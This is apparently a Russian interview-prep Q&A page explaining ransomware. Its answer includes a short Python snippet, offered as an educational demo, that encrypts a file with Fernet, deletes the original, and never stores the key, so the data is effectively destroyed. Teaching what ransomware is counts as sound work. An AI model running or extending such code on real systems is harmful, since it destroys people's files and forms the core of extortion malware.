Что такое шифровальщик
Python
Middle
Без компании
Что такое шифровальщик
Ответы
Шифровальщик (ransomware) — это вредоносное ПО, которое шифрует файлы на компьютере жертвы и требует выкуп за их расшифровку. Обычно распространяется через фишинговые письма, уязвимости в ПО или заражённые сайты.
Пример простого шифровальщика на Python (упрощённый вариант, только для демонстрации):
```
from cryptography.fernet import Fernet
import os
# Генерация ключа
key = Fernet.generate_key()
cipher = Fernet(key)
# Шифрование файла
def encrypt_file(filepath):
with open(filepath, 'rb') as f:
data = f.read()
encrypted = cipher.encrypt(data)
with open(filepath + '.encrypted', 'wb') as f:
f.write(encrypted)
os.remove(filepath)
# Пример использования
encrypt_file('important_document.txt')
```
Важно: создание и использование шифровальщиков в реальной жизни незаконно! Это пример только для образовательных целей.